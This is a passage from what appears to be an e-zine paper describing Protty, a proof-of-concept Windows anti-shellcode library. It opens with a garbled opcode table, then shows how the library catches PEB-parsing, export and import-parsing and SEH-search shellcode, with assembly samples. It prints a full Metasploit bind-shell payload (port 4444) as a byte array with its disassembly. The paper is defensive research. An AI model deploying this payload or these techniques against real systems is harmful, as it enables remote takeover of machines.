EBP/BP/CH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A AF A [disp32+EDI], EBP/BP/CH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A B0 A [disp32+EAX], ESI/SI/DH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A B1 A [disp32+ECX], ESI/SI/DH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A B2 A [disp32+EDX], ESI/SI/DH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A B3 A [disp32+EBX], ESI/SI/DH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A B4 A [disp32+[--][--]], ESI/SI/DH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A B5 A [disp32+EBP], ESI/SI/DH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A B6 A [disp32+ESI], ESI/SI/DH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A B7 A [disp32+EDI], ESI/SI/DH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A B8 A [disp32+EAX], EDI/DI/BH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A B9 A [disp32+ECX], EDI/DI/BH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A BA A [disp32+EDX], EDI/DI/BH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A BB A [disp32+EBX], EDI/DI/BH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A BC A [disp32+[--][--]], EDI/DI/BH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A BD A [disp32+EBP], EDI/DI/BH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A BE A [disp32+ESI], EDI/DI/BH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A BF A [disp32+EDI], EDI/DI/BH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A C0 A EAX/AX/AL, EAX/AX/AL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A C1 A ECX/CX/CL, EAX/AX/AL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A C2 A EDX/DX/DL, EAX/AX/AL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A C3 A EBX/BX/BL, EAX/AX/AL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A C4 A ESP/SP/AH, EAX/AX/AL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A C5 A EBP/BP/CH, EAX/AX/AL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A C6 A ESI/SI/DH, EAX/AX/AL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A C7 A EDI/DI/BH, EAX/AX/AL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A C8 A EAX/AX/AL, ECX/CX/CL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A C9 A ECX/CX/CL, ECX/CX/CL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A CA A EDX/DX/DL, ECX/CX/CL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A CB A EBX/BX/BL, ECX/CX/CL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A CC A ESP/SP/AH, ECX/CX/CL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A CD A EBP/BP/CH, ECX/CX/CL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A CE A ESI/SI/DH, ECX/CX/CL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A CF A EDI/DI/BH, ECX/CX/CL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A D0 A EAX/AX/AL, EDX/DX/DL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A D1 A ECX/CX/CL, EDX/DX/DL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A D2 A EDX/DX/DL, EDX/DX/DL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A D3 A EBX/BX/BL, EDX/DX/DL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A D4 A ESP/SP/AH, EDX/DX/DL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A D5 A EBP/BP/CH, EDX/DX/DL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A D6 A ESI/SI/DH, EDX/DX/DL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A D7 A EDI/DI/BH, EDX/DX/DL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A D8 A EAX/AX/AL, EBX/BX/BL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A D9 A ECX/CX/CL, EBX/BX/BL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A DA A EDX/DX/DL, EBX/BX/BL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A DB A EBX/BX/BL, EBX/BX/BL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A DC A ESP/SP/AH, EBX/BX/BL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A DD A EBP/BP/CH, EBX/BX/BL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A DE A ESI/SI/DH, EBX/BX/BL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A DF A EDI/DI/BH, EBX/BX/BL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A E0 A EAX/AX/AL, ESP/SP/AH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A E1 A ECX/CX/CL, ESP/SP/AH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A E2 A EDX/DX/DL, ESP/SP/AH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A E3 A EBX/BX/BL, ESP/SP/AH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A E4 A ESP/SP/AH, ESP/SP/AH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A E5 A EBP/BP/CH, ESP/SP/AH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A E6 A ESI/SI/DH, ESP/SP/AH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A E7 A EDI/DI/BH, ESP/SP/AH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A E8 A EAX/AX/AL, EBP/BP/CH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A E9 A ECX/CX/CL, EBP/BP/CH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A EA A EDX/DX/DL, EBP/BP/CH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A EB A EBX/BX/BL, EBP/BP/CH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A EC A ESP/SP/AH, EBP/BP/CH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A ED A EBP/BP/CH, EBP/BP/CH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A EE A ESI/SI/DH, EBP/BP/CH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A EF A EDI/DI/BH, EBP/BP/CH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A F0 A EAX/AX/AL, ESI/SI/DH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A F1 A ECX/CX/CL, ESI/SI/DH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A F2 A EDX/DX/DL, ESI/SI/DH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A F3 A EBX/BX/BL, ESI/SI/DH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A F4 A ESP/SP/AH, ESI/SI/DH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A F5 A EBP/BP/CH, ESI/SI/DH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A F6 A ESI/SI/DH, ESI/SI/DH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A F7 A EDI/DI/BH, ESI/SI/DH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A F8 A EAX/AX/AL, EDI/DI/BH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A F9 A ECX/CX/CL, EDI/DI/BH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A FA A EDX/DX/DL, EDI/DI/BH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A FB A EBX/BX/BL, EDI/DI/BH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A FC A ESP/SP/AH, EDI/DI/BH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A FD A EBP/BP/CH, EDI/DI/BH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A FE A ESI/SI/DH, EDI/DI/BH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A FF A EDI/DI/BH, EDI/DI/BH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA As you can see 03h covers "[EBX], EAX/AX/AL". And that's the thing we needed.Now mechanism knows it should scan EAX and EBX registers and update them if their values are "similiar" to address of "DECOYS". Of course the register checking method could be more efficient (should also check more opcodes etc. etc.) - maybe in next versions. In the mechanism i have used the table listed above, anyway there is also "another" ("primary") way to determine what registers are used. The way is based on fact that ModR/M byte contains three fields of information (Mod, Reg/Opcode, R/M). By checking bits of those entries we can determine what registers are used by the instruction (surely interesting tables from Intel manuals: "...Addressing Forms with the ModR/M Byte") I'm currently working on disassembler engine, so all those codes related to "opcode decoding" topic should be released in the nearest future. And probably if Protty project will be continued i will exchange the z0mbie dissassembler engine with my own, anyway his baby works very well. If you are highly interrested in disassembling the instructions, check the [8]. To see how it works, check following example: ;----------SNIP-------------------------------------------- mov eax,fs:[30h] mov eax,[eax+0ch] mov esi,[eax+1ch] ; value changed by protector,ESI=DDDDDDDDh lodsd ; load one dword <- causes exception ;----------SNIP-------------------------------------------- This example faults on "lodsd" instruction, because application is trying to load 4 bytes from invalid location - ESI (because it was changed by P2). Prevention library takeovers the exception and checks the instruction. This one is "lodsd" so instead of ModR/M byte (because there is no such here) library checks the opcode. When it finds out it is "lodsd" instruction, it scans and updates ESI. Finally the ESI (in this case) is rewritten to 0241F28h (original) and the execution is continued including the "BAD" instruction. So that's how P2 works, a lot faster then its older brother P1. --[ VI. Action - few samples of catched shellcodes If you have studied descriptions of all of the mechanisms, it is time to show where/when Protty prevents them. Lets take a look at examples of all mechanisms described in paragraph IV. PEB (Process Environment Block) parsing --------------------------------------- ;----------SNIP-------------------------------------------- mov eax,dword ptr fs:[30h] ; EAX is now PEB base mov eax,dword ptr [eax+0ch] ; EAX+0Ch = PEB_LDR_DATA mov esi,dword ptr [eax+1ch] ; get the first entry ^^^^^^^^^^^^^^^^^^^^^^^^^^^ | ---- [P1-I1] mov ebx,[esi+08h] ; EBX=ntdll imagebase ^^^^^^^^^^^^^^^^^ | ------- [P2-I1] ;----------SNIP-------------------------------------------- - Description for P1 In this example Protty catches the shellcode when the instruction marked as [P1-I1] is executed. Since Protty has protected the PEB_LDR_DATA region (it's marked as PAGE_NOACCESS) all references to it will cause an access violation which will be filtered by Protty. Here, shellcode is trying to get first entry from PEB_LDR_DATA structure, this causes an exception and this way shellcode is catched - attack failed. - Description for P2 The mechanism is being activated when [P2-I1] instruction is being executed. ESI value is redirected to invalid location so every reference to it cause an access violation exception, this is filtered by the installed prevention mechanism - in short words: attack failed, shellcode was catched. searching for kernel in memory ------------------------------ I think here code is not needed, anyway when/where protty will act in this case? As you probably remember from paragraph IV the kernel search code works together with SEH (structured exception handler) frame. Everytime shellcode tries invalid location SEH frame handles the exception and the search procedure is continued. When Protty is active shellcode doesn't have any "second chance" - what does it mean? It means that when shellcode will check invalid location (by using SEH) the exception will be filtered by Protty mechanism, in short words shellcode will be catched - attack failed. There are also some shellcodes that search the main shellcode in memory also using SEH frames. Generally the idea is to develop small shellcode which will only search for the main one stored somewhere in memory. Since here SEH frames are also used, such type of shellcodes will be also catched. export section parsing ---------------------- We are assuming that the attacker has grabbed the imagebase in unknown way :) (full code in IV-th chapter - i don't want to past it here) ;----------SNIP-------------------------------------------- ; EAX=imagebase of kernel32.dll xor ebp,ebp ; zero the counter mov ebx,[eax+3ch] ; get pe header add ebx,eax ; normalize <...snip...> loop_it: mov edi,[ecx] ; get one name add edi,eax ; normalize cmp dword ptr [edi+4],'Acor' ; is it GetP-rocA-ddress ?? :) jne @l ; nope -> jump to @l ; yes it is add esi,ebp ; add out counter mov esi,[esi] ; get the address ^^^^^^^^^^^^^ | ---[I1] add esi,eax ; normalize int 3 ; ESI=address of GetProcAddress @l: <...snip...> ;----------SNIP-------------------------------------------- - Description for P1 and P2 Following example is being catched when [I1] instruction is being executed - when it tries to read the address of GetProcAddress from array with function addresses. Since function addresses array is "protected" all references to it will cause access violation exception, which will be filtered by the mechanism (like in previous points). Shellcode catched, attack failed. import section parsing ---------------------- ;----------SNIP-------------------------------------------- ;following example gets LoadLibraryA address from IAT IMAGEBASE equ 00400000h mov ebx,IMAGEBASE mov eax,ebx add eax,[eax+3ch] ; PE header mov edi,[eax+80h] ; import RVA ^^^^^^^^^^^^^^^^^ | ----[I1] add edi,ebx ; normalize xor ebp,ebp mov edx,[edi+10h] ; pointer to addresses ^^^^^^^^^^^^^^^^^ | ----[I2] add edx,ebx ; normalize <...snip...> ;----------SNIP-------------------------------------------- - Description for P1 and P2 After instruction marked as [I1] is executed, EDI should contain the import section RVA, why should? because since the protection is active import section RVA is faked. In next step (look at instruction [I2]) this will cause access violation exception (because of the fact that FAKED_IAT_RVA + IMAGEBASE = INVALID LOCATION) and the shellcode will be catched. Attack failed also in this case. There is also a danger that attacker can hardcode IAT RVA. For such cases import section array of function names is also protected. Look at following code: ;----------SNIP-------------------------------------------- <...snip...> @loop: mov eax,[esi] ^^^^^^^^^^^^^ | --[I1] add eax,ebx add eax,2 cmp dword ptr [eax],'daoL' ; is this LoadLibraryA? <...snip...> ;----------SNIP-------------------------------------------- Instruction [I1] is trying to access memory which is not accessible (protection mechanism changed it) and in the result of this exception is generated. Protty filters the access violation and kills the shellcode - this attack also failed. And the last example, some shellcode from metasploit.com: win32_bind by metasploit.com ---------------------------- EXITFUNC=seh LPORT=4444 Size=348 Encoder=PexFnstenvSub (replace "data" with "data" from protty_example/sample_bo.c then recompile and run) unsigned char data[] = "\x31\xc9\x83\xe9\xaf\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x97" "\x25\xaa\xb5\x83\xeb\xfc\xe2\xf4\x6b\x4f\x41\xfa\x7f\xdc\x55\x4a" "\x68\x45\x21\xd9\xb3\x01\x21\xf0\xab\xae\xd6\xb0\xef\x24\x45\x3e" "\xd8\x3d\x21\xea\xb7\x24\x41\x56\xa7\x6c\x21\x81\x1c\x24\x44\x84" "\x57\xbc\x06\x31\x57\x51\xad\x74\x5d\x28\xab\x77\x7c\xd1\x91\xe1" "\xb3\x0d\xdf\x56\x1c\x7a\x8e\xb4\x7c\x43\x21\xb9\xdc\xae\xf5\xa9" "\x96\xce\xa9\x99\x1c\xac\xc6\x91\x8b\x44\x69\x84\x57\x41\x21\xf5" "\xa7\xae\xea\xb9\x1c\x55\xb6\x18\x1c\x65\xa2\xeb\xff\xab\xe4\xbb" "\x7b\x75\x55\x63\xa6\xfe\xcc\xe6\xf1\x4d\x99\x87\xff\x52\xd9\x87" "\xc8\x71\x55\x65\xff\xee\x47\x49\xac\x75\x55\x63\xc8\xac\x4f\xd3" "\x16\xc8\xa2\xb7\xc2\x4f\xa8\x4a\x47\x4d\x73\xbc\x62\x88\xfd\x4a" "\x41\x76\xf9\xe6\xc4\x76\xe9\xe6\xd4\x76\x55\x65\xf1\x4d\xbb\xe9" "\xf1\x76\x23\x54\x02\x4d\x0e\xaf\xe7\xe2\xfd\x4a\x41\x4f\xba\xe4" "\xc2\xda\x7a\xdd\x33\x88\x84\x5c\xc0\xda\x7c\xe6\xc2\xda\x7a\xdd" "\x72\x6c\x2c\xfc\xc0\xda\x7c\xe5\xc3\x71\xff\x4a\x47\xb6\xc2\x52" "\xee\xe3\xd3\xe2\x68\xf3\xff\x4a\x47\x43\xc0\xd1\xf1\x4d\xc9\xd8" "\x1e\xc0\xc0\xe5\xce\x0c\x66\x3c\x70\x4f\xee\x3c\x75\x14\x6a\x46" "\x3d\xdb\xe8\x98\x69\x67\x86\x26\x1a\x5f\x92\x1e\x3c\x8e\xc2\xc7" "\x69\x96\xbc\x4a\xe2\x61\x55\x63\xcc\x72\xf8\xe4\xc6\x74\xc0\xb4" "\xc6\x74\xff\xe4\x68\xf5\xc2\x18\x4e\x20\x64\xe6\x68\xf3\xc0\x4a" "\x68\x12\x55\x65\x1c\x72\x56\x36\x53\x41\x55\x63\xc5\xda\x7a\xdd" "\x67\xaf\xae\xea\xc4\xda\x7c\x4a\x47\x25\xaa\xb5"; Disassembly: 0012FD68 90 NOP 0012FD69 90 NOP 0012FD6A 90 NOP 0012FD6B 90 NOP 0012FD6C 90 NOP 0012FD6D 90 NOP 0012FD6E 90 NOP 0012FD6F 90 NOP 0012FD70 90 NOP 0012FD71 90 NOP 0012FD72 90 NOP 0012FD73 31C9 XOR ECX,ECX 0012FD75 83E9 AF SUB ECX,-51 0012FD78 D9EE FLDZ 0012FD7A D97424 F4 FSTENV (28-BYTE) PTR SS:[ESP-C] 0012FD7E 5B POP EBX 0012FD7F 8173 13 9725AAB5 XOR DWORD PTR DS:[EBX+13],B5AA2597 0012FD86 83EB FC SUB EBX,-4 0012FD89 ^E2 F4 LOOPD SHORT 0012FD7F ; DECODING LOOP decoded data: 0012FD8B FC CLD 0012FD8C 6A EB PUSH -15 0012FD8E 4F DEC EDI 0012FD8F E8 F9FFFFFF CALL 0012FD8D ; [!] 0012FD94 60 PUSHAD 0012FD95 8B6C24 24 MOV EBP,DWORD PTR SS:[ESP+24] 0012FD99 8B45 3C MOV EAX,DWORD PTR SS:[EBP+3C] 0012FD9C 8B7C05 78 MOV EDI,DWORD PTR SS:[EBP+EAX+78] 0012FDA0 01EF ADD EDI,EBP 0012FDA2 8B4F 18 MOV ECX,DWORD PTR DS:[EDI+18] 0012FDA5 8B5F 20 MOV EBX,DWORD PTR DS:[EDI+20] 0012FDA8 01EB ADD EBX,EBP ... [!] 0012FD8F (calls) -> 0012FD8D (jumps) -> 0012FDDE (PARSING PEB BLOCK ROUTINE) 0012FDDE 31C0 XOR EAX,EAX 0012FDE0 64:8B40 30 MOV EAX,DWORD PTR FS:[EAX+30] 0012FDE4 8B40 0C MOV EAX,DWORD PTR DS:[EAX+C] 0012FDE7 8B70 1C MOV ESI,DWORD PTR DS:[EAX+1C] ; [!!-P1] 0012FDEA AD LODS DWORD PTR DS:[ESI] ; [!!-P2] [!!-P1] - protty (P1) takeovers the program execution when instruction at 0012FDE7h (MOV ESI,DWORD PTR DS:[EAX+1C]) is being executed, application is terminated, attack failed. [!!-P2] - P2 works like above, but the execution is redirected when lodsd instruction is executed. --[ VII. Bad points (what you should know) - TODO I have tested Protty2 (P2) with: - Microsoft Internet Explorer - Mozilla Firefox - Nullsoft Winamp - Mozilla Thunderbird - Winrar - Putty - Windows Explorer and few others applications, it worked fine with 2-5 module protected (the standard is 2 modules NTDLL.DLL and KERNEL32.DLL), with not much bigger CPU usage! You can define the number of protected modules etc. etc. to make it suitable for your machine/software. The GOOD point is that protected memory region is not requested all the time, generally only on loading new modules (so it don't eat CPU a lot). However there probably are applications which will not be working stable with protty. I think decreasion of protection methods can make the mechanism more stable however it will also decrease the security level. Anyway it seems to be more stable than XP SP2 :)) I'm preparing for exams so I don't really have much time to spend it on Protty, so while working with it remember this is a kind of POC code. TODO: !!! DEFINETLY IMPORTANT !!! - add SEH all chain checker - code optimization, less code, more *speeeeeed * - add vectored exception handling checker - add some registry keys/loaders to inject it automatically to started application (if anybody want to play with Protty1): - add some align calculation procedure for VirtualProtect, to describe region size more deeply. Anyway I made SAFE_MEMORY_MODE (new!), here is the description: When protty reaches the point where it checks the memory region which caused exception, it checks if it's protected. Due to missing of align procedure for (VirtualProtect), Protty region comparing procedure can be not stable (well rare cases :)) - and to prevent such cases i made SAFE_MEMORY_MODE. In this case Protty doesn't check if memory which caused exception is laying somewhere inside protected region table. Instead of this Protty gets actual protection of this memory address (Im using VirtualProtect - not the VirtualQuery because it fails on special areas). Then it checks that actual protection is set to PAGE_NOACCESS if so, Protty deprotects all protected regions and checks the protection again, if it was changed it means that requested memory lays somewhere inside of protected regions. The rest of mechanism is the same (i think it is even more better then align procedure, anyway it seems to work well) (you can turn on safe mode via editing the prot/conf.inc and rebuilding the library) --[ VIII. Last words In the end I would like to say there is a lot to do (this is a concept), but I had a nice time coding this little thingie. It is based on pretty new ideas, new technology, new stuffs. This description is short and not well documented, like I said better test it yourself and see the effect. Sorry for my bad english and all the *lang* things. If you got any comments or sth drop me an email. Few thanks fliez to (random order): - K.S.Satish, Artur Byszko, Cezary Piekarski, T, Bart Siedlecki, mcb "some birds werent meant to be caged, their feathers are just too bright." - Stephen King, Shawshank Redemption --[ IX. References [1] - VirtualQuery API - msdn.microsoft.com/library/ en-us/memory/base/virtualquery.asp [2] - MEMORY_BASIC_INFORMATION structure - msdn.microsoft.com/library/en-us/ memory/base/memory_basic_ information_str.asp [3] - IsBadWritePtr API - msdn.microsoft.com/library/ en-us/memory/base/isbadwriteptr.asp [4] - Detours library - research.microsoft.com/sn/detours/ [5] - Bypassing 3rd Party Windows Buffer Overflow Protection - http://www.phrack.org/phrack/62/p62-0x05_Bypassing_Win_ BufferOverflow_Protection.txt [6] - Defeating w2k3 stack protection http://www.ngssoftware.com/papers/defeating-w2k3-stack-protection. pdf [7] - Gaining important datas from PEB under NT boxes http://vx.netlux.org/29a/29a-6/29a-6.224 [8] - IA32 Manuals - http://developer.intel.com/design/Pentium4/documentation.htm [9] - An In-Depth Look into the Win32 Portable Executable File Format (PART2) - http://msdn.microsoft.com/msdnmag/issues/02/03/PE2/default.aspx [10]- Windows Heap Overflows - http://opensores.thebunker.net/pub/mirrors/blackhat/presentations/ win-usa-04/bh-win-04-litchfield/bh-win-04-litchfield.pdf [11]- Technological Step Into Win32 Shellcodes - http://www.astalavista.com//data/w32shellcodes.txt [12]- EPO: Entry-Point Obscuring - http://vx.netlux.org/29a/29a-4/29a-4.223 --[ X. Code Library binary and source code attached to paper. Also stored on http://pb.specialised.info . --- START OF BASE64 CHUNK - PROTTY LIBRARY PACKAGE --------------- <++> PROTT-PACKAGE.ZIP.BASE64 UEsDBAoAAAAAAE9YwTIAAAAAAAAAAAAAAAALAAAAUFJPVFQtUEFDSy9QSwME FAAAAAgAcEPCMocS5zkpAgAA9wMAABcAAABQUk9UVC1QQUNLL01VU1RSRUFE LnR4dI1TwW7bMAw9L0D+gTvt0jr3YRiWbj0YaJsgzaVHWaYjorKkUXTS7OtH 2U7Q9TQbsGWKeu/xkV4ulotP291mv3+Bh/put969wC08rx+3D/ewftrXt3eb y8ZyAfN1+3+XQjdn2FIUhjsTyMC3pryqVEI/Dr0hX9nYf9dEJ5K+rlapqXJC S8ZTxrai0MXlYroBftXPPx/W9eP9rny95xmlrQdxkUHMK2YIERhziiFTQ57k DJ3umXAGY4U0DCcSB4njkVpsYUQodNybaV/TbWwxV7B3qMt0Zjo4ueJoHrIK BcuoyxlCCxZNN5MWykUF8lFrgbUeaofkyY4MELuJoDAJvkmeEK6SHDKqJECP VjgGsiUzMYXClobmgpQLT4gCCbknuWopFcZB3gn6ksEcGLHHINVsa0mtH7eb 3V77DU+b/f3zv/a+93jLUdRLTw0bVg+GLNAouoixTnklFv0Wc175aEoVasgc AdOpYyOMi3pOwwc2vZZIUhr+Zy6GVTMFzJ+hFujRaEicmYzHN9MnjyNIKesi JGuhvv0opTjFAUWPJR8ZeZIAJOpNaOPpZuqZ4QwotgKTEl4/xkdUFj7pMI50 PVqnE5x7Pe99oRtCFtN4rGaDat2K/ErhANrijt7KShyVHuUBb7T0Ex5VQztg kdifx5ryCF9mxbB10zBmSGYof8Fl/qHu4BwHcOaI4wj+HjCPnq1MeyT1GDpE D512uGDbGNSL4mF1+YlmoL9QSwMECgAAAAAA91bBMgAAAAAAAAAAAAAAABoA AABQUk9UVC1QQUNLL3Byb3R0eS1jdXJyZW50L1BLAwQKAAAAAAARV8EyAAAA AAAAAAAAAAAAHgAAAFBST1RULVBBQ0svcHJvdHR5LWN1cnJlbnQvYmluL1BL 